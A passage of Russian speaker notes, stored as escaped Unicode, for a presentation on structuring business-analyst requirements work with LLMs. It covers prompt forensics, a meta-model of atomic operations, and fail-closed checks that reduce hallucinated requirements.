\u0430\u043a\u0430\u0434\u0435\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u0439\\n\u0432\u043e\u043f\u0440\u043e\u0441\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 2. \u0412 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u044d\u0442\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u0437\u0430\u043c\u0435\u0442\u043a\u0430\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0446\u0435\u043d\u0443 \u043e\u0448\u0438\u0431\u043a\u0438, \u0447\u0442\u043e\u0431\u044b \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0430\u044f\\n\u0441\u0442\u0440\u043e\u0433\u043e\u0441\u0442\u044c \u043d\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u0438\u0437\u0431\u044b\u0442\u043e\u0447\u043d\u043e\u0439.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u0433\u043e\u0432\u043e\u0440\u0438\u043c \u043e \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432. \u0422\u0430\u043c \u0422\u0417 \u2014 \u043d\u0435 \u0440\u0430\u0431\u043e\u0447\u0430\u044f \u0437\u0430\u043c\u0435\u0442\u043a\u0430, \u0430\\n  \u043e\u0441\u043d\u043e\u0432\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u0447\u0430\u0441\u0442\u044c \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430.\\n- \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u0448\u0438\u0440\u043e\u043a\u0438\u0439: \u0432 \u043d\u0430\u0448\u0435\u0439\\n  [\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/product-taxonomy/mango-products.yaml)\\n  42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0432 8 \u0434\u043e\u043c\u0435\u043d\u0430\u0445. \u0423 \u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0432\u043e\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0441\u0432\u043e\u0438\\n  \u043b\u043e\u0432\u0443\u0448\u043a\u0438: \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u0438 \u0433\u0440\u0443\u043f\u043f\u0430, SLA \u0438 AHT, IVR \u0438 \u0430\u0432\u0442\u043e\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0442\u043e\u0440.\\n- \u041e\u0434\u043d\u043e \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0442\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438. \u041d\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0447\u0430\u0441\u0442\u044c\\n  \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430, \u0438 \u043f\u043e\u0442\u043e\u043c \u044d\u0442\u043e \u0432\u0441\u043f\u043b\u044b\u0432\u0430\u0435\u0442 \u0441\u043f\u043e\u0440\u043e\u043c \u043e \u043f\u0440\u0438\u0451\u043c\u043a\u0435.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0432\u0430\u0436\u043d\u043e \u0434\u043b\u044f AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438:** \u043a\u043e\u0433\u0434\u0430 \u043e\u0448\u0438\u0431\u043a\u0430 \u0441\u0442\u043e\u0438\u0442 \u0434\u043e\u0440\u043e\u0433\u043e,\\n\u00ab\u0432 \u0441\u0440\u0435\u0434\u043d\u0435\u043c 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\u0434\u043e\u0432\u0435\u0440\u0438\u044e: \u043f\u043e\u0434\u0445\u043e\u0434\\n\u0432\u044b\u0440\u043e\u0441 \u0438\u0437 \u043d\u0435\u0443\u0434\u0430\u0447, \u0430 \u043d\u0435 \u0438\u0437 \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0438.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0412\u0435\u0441\u043d\u043e\u0439 \u0432\u0441\u0451 \u043d\u0430\u0447\u0438\u043d\u0430\u043b\u043e\u0441\u044c \u0441 \u043e\u0434\u043d\u043e\u0433\u043e \u0431\u043e\u043b\u044c\u0448\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u00ab\u0434\u043b\u044f \u0411\u0410\u00bb. \u0412 \u0438\u044e\u043d\u0435 \u043c\u044b\\n  [\u0440\u0430\u0437\u0434\u0435\u043b\u0438\u043b\u0438 \u0435\u0433\u043e](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/CHANGELOG.md)\\n  \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430.\\n- \u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 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\u043d\u0430\u043a\u043e\u043f\u0438\u043b\u043e\u0441\u044c 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445, \u0438 \u043c\u044b \u0447\u0435\u0441\u0442\u043d\u043e\\n  \u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438: evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442.\\n- \u0412 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u0435 \u043f\u0440\u043e\u0432\u0435\u043b\u0438 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0443. \u0412\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0442\u0440\u0438 \u0440\u0435\u0436\u0438\u043c\u0430 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u2014\\n  \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439, \u043e\u0434\u043d\u0438\u043c \u0432\u044b\u0437\u043e\u0432\u043e\u043c \u0438 \u0441\u0442\u0430\u0440\u044b\u0439 \u2014 \u043f\u043e\u0447\u0442\u0438 \u043d\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u043f\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435:\\n  [0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md).\\n  \u0410 \u0438\u0437 12 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0443\u0436\u043d\u044b \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u2014 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u0445\u043e\u0434,\\n  \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442, \u0433\u0435\u0439\u0442 \u2014 10\\n  [\u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md)\\n  \u0438\u0437 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432.\\n- \u0412\u044b\u0432\u043e\u0434\\n  [\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md):\\n  \u0447\u0435\u0442\u044b\u0440\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u0430. \u041d\u0435\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0439 \u0444\u0430\u043a\u0442 \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u0442\u0441\u044f \u0434\u043e\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f. \u0422\u0435\u043a\u0443\u0449\u0435\u0435 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\u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430. \u0421\u0442\u0430\u0440\u044b\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u043c\u044b \u043d\u0435\\n\u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c, \u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u043a\u0430\u043a \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0431\u0430\u0437\u0443.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u043b\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u2014 \u0437\u043d\u0430\u0447\u0438\u0442, \u043d\u0443\u0436\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u0442\u044c, \u0447\u0442\u043e\\n\u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430. \u042d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 5. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0411\u0410 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0434\u0430\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443, \u043d\u0435 \u0443\u0442\u043e\u043f\u0438\u0432 \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u0445. \u0418\u0437 11\\n\u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0430 \u0441\u043b\u0430\u0439\u0434\u0435 \u2014 \u0447\u0435\u0442\u044b\u0440\u0435 \u0443\u0440\u043e\u0432\u043d\u044f \u0438 \u0447\u0435\u0442\u044b\u0440\u0435 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0420\u0430\u0431\u043e\u0442\u0430 \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u0432\u0435\u0440\u0445\u0443 \u0432\u043d\u0438\u0437: **\u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u2192 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2192\\n  \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442**. \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u043d\u0430\u0432\u044b\u043a\u043e\u0432, \u043d\u0430\u0432\u044b\u043a \u2014 \u0438\u0437 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439.\\n- \u0421\u043b\u043e\u0432\u0430\u0440\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b: 33 \u043d\u0430\u0432\u044b\u043a\u0430, 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0415\u0441\u043b\u0438 \u043d\u0443\u0436\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0442, \u044d\u0442\u043e\\n  \u043e\u0442\u043a\u0430\u0437 \u0438 \u0437\u0430\u0434\u0430\u0447\u0430 \u043d\u0430 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f, \u0430 \u043d\u0435 \u0438\u043c\u043f\u0440\u043e\u0432\u0438\u0437\u0430\u0446\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438.\\n- \u0417\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0432\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u043e: \u0438\u0437 \u0432\u0445\u043e\u0434\u0430, \u0434\u043b\u044f \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e\\n  \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043e\u0434\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0435\u0439, \u043e\u0434\u043d\u0438\u043c \u0430\u043a\u0442\u043e\u0440\u043e\u043c \u2014 \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0438\\n  \u0433\u0435\u0439\u0442 \u2014 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0432\u044b\u0445\u043e\u0434 \u0441\u043e \u0441\u043b\u0435\u0434\u043e\u043c \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f.\\n- \u0427\u0435\u0442\u044b\u0440\u0435\\n  [\u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md)\\n  \u2014 \u043e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0434\u0435\u0444\u0435\u043a\u0442\u044b. \u041d\u0435\u0442 \u0448\u0430\u0433\u0430 \u0431\u0435\u0437 \u0432\u0445\u043e\u0434\u0430 \u2014 \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e 50 \u0438\u0437 67\\n  \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0432\u0445\u043e\u0434\u0430 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u043b\u0438. \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u0448\u0430\u0433\u0430 \u2014 \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n  \u043b\u0435\u043a\u0441\u0438\u043a\u0430 \u0437\u0430\u0434\u0430\u0447\u0438 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0431\u043e\u043b\u044c\u0448\u0435 \u0447\u0435\u043c \u043d\u0430 \u043e\u0434\u0438\u043d \u0434\u043e\u043c\u0435\u043d \u0432 66 \u0438\u0437 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432.\\n\\n**\u041a\u0430\u043a:** \u043a\u0430\u0436\u0434\u044b\u0439 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0430\u0448\u0438\u043d\u043e\u0439. \u0414\u0432\u0430 \u2014 \u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0448\u0430\u0433\u0430, \u0434\u0432\u0430 \u2014\\n\u043f\u043e\u0441\u0442\u0443\u0441\u043b\u043e\u0432\u0438\u044f.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0421\u0430\u043c\u043e\u0435 \u0432\u0430\u0436\u043d\u043e\u0435 \u043d\u0430 \u044d\u0442\u043e\u0439 \u0441\u0445\u0435\u043c\u0435 \u2014 \u043d\u0438\u0436\u043d\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0418\u043c\u0435\u043d\u043d\u043e\\n\u0442\u0430\u043c \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u0451\u043b \u043f\u0440\u043e\u0440\u044b\u0432\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 6. \u041c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0441\u043b\u044c: \u043c\u044b \u043e\u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e \u0438 \u0441\u0442\u0430\u0432\u0438\u043c \u043d\u0430 \u0435\u0451 \u0432\u044b\u0445\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 3 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0433\u043b\u0430\u0432\u043d\u044b\u0439 \u0441\u043b\u0430\u0439\u0434. \u041f\u043e\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043c\u044b \u0434\u0435\u043b\u0430\u0435\u043c\\n\u0438\u043d\u0430\u0447\u0435 \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0442\u0430\u043c, \u0433\u0434\u0435 \u043f\u0440\u043e\u043c\u043f\u0442 \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430: \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u043f\u043b\u043e\u0445\u043e \u043f\u043e\u0434\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u0440\u044f\u043c\u043e\u0439 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438. \u041b\u0443\u0447\u0448\u0435\u0435\\n  \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u2014\\n  [RUN-0018](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md).\\n  \u0421\u0442\u0440\u043e\u0433\u0438\u0439 \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442, \u0432\u043e\u0441\u0435\u043c\u044c \u0448\u0430\u0433\u043e\u0432, \u0432 \u043a\u0430\u0436\u0434\u043e\u043c \u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430. \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u2014\\n  8 \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u0439, \u043e\u0434\u043d\u0430 \u0434\u043e\u0448\u043b\u0430 \u0434\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430. \u0412\u044b\u0432\u043e\u0434 \u0441\u0430\u043c\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430: \u00ab\u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430\\n  \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0430, \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442\u044c \u0444\u0430\u043a\u0442\u043e\u0432 \u043d\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0430\u00bb.\\n- \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043c\u044b \u0440\u0430\u0437\u043b\u043e\u0436\u0438\u043b\u0438 \u0440\u0430\u0431\u043e\u0442\u0443 \u043d\u0430\\n  [31 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy/10-theory.md)\\n  \u0432 \u043f\u044f\u0442\u0438 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430\u0445. \u041a\u043b\u0430\u0441\u0441 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u0442\u0435\u043c, \u043e\u0442\u043a\u0443\u0434\u0430 \u0431\u0435\u0440\u0451\u0442\u0441\u044f\\n  \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u0432\u044b\u0445\u043e\u0434\u0430.\\n- \u041a\u043b\u0430\u0441\u0441 \u0437\u0430\u0434\u0430\u0451\u0442 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f. \u0418\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0441\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c.\\n  \u041f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u0441\u043e \u0441\u0445\u0435\u043c\u043e\u0439. \u041f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435, \u0433\u0434\u0435 \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u043e\u0432\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435,\\n  \u0438\u0434\u0451\u0442 \u0447\u0435\u0440\u0435\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430. \u0412\u044b\u0431\u043e\u0440 \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d.\\n- \u041f\u043e\u0432\u0435\u0440\u0445 \u2014 fail-closed. \u041d\u0435\u0442 \u0432\u0445\u043e\u0434\u0430, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u0438\u043b\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u2014 \u0448\u0430\u0433\\n  \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0438 \u0437\u0430\u0434\u0430\u0451\u0442 \u0432\u043e\u043f\u0440\u043e\u0441. \u041f\u0443\u0441\u0442\u043e\u0439 \u0441\u043b\u043e\u0442 \u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u043b\u0443\u0447\u0448\u0435\\n  \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f.\\n- \u042d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435: RUN-0059 \u0441 \u0442\u0430\u043a\u0438\u043c \u043f\u0440\u0430\u0432\u0438\u043b\u043e\u043c \u043d\u0435 \u043f\u0440\u0438\u0434\u0443\u043c\u0430\u043b\\n  \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 endpoint'\u044b Mango, \u0430 \u043e\u0441\u0442\u0430\u0432\u0438\u043b \u043f\u0440\u043e\u0431\u0435\u043b. RUN-0060 \u0434\u0430\u043b 101\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044e \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u043f\u0440\u043e\u0440\u044b\u0432, \u0430 \u043d\u0435 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e:** \u043c\u044b \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u0438 \u0441\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0442\u044c \u0443\\n\u043c\u043e\u0434\u0435\u043b\u0438, \u0445\u043e\u0440\u043e\u0448 \u043b\u0438 \u0435\u0451 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442. \u0421\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u043b\u043e\u0432\u0438\u0442 \u043e\u0448\u0438\u0431\u043a\u0443,\\n\u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u044b\u0440\u043e\u0441\u043b\u0430 \u0438\u0437 \u0435\u0451 \u0436\u0435 \u043b\u043e\u0436\u043d\u043e\u0433\u043e \u0443\u0431\u0435\u0436\u0434\u0435\u043d\u0438\u044f. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043e\u0442\u0434\u0435\u043b\u0435\u043d\u0430 \u043e\u0442\\n\u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u0438 \u0432\u044b\u0431\u0440\u0430\u043d\u0430 \u043f\u043e \u0442\u0438\u043f\u0443 \u0440\u0430\u0431\u043e\u0442\u044b.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0418\u0437 \u044d\u0442\u0438\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440. \u041f\u043e\u043a\u0430\u0436\u0443 \u0435\u0433\u043e \u0446\u0435\u043b\u0438\u043a\u043e\u043c \u0438\\n\u0441\u0440\u0430\u0437\u0443 \u0441\u043a\u0430\u0436\u0443, \u0447\u0442\u043e \u0432 \u043d\u0451\u043c \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u0430 \u0447\u0442\u043e \u043f\u043e\u043a\u0430 \u043d\u0435\u0442\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 7. \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 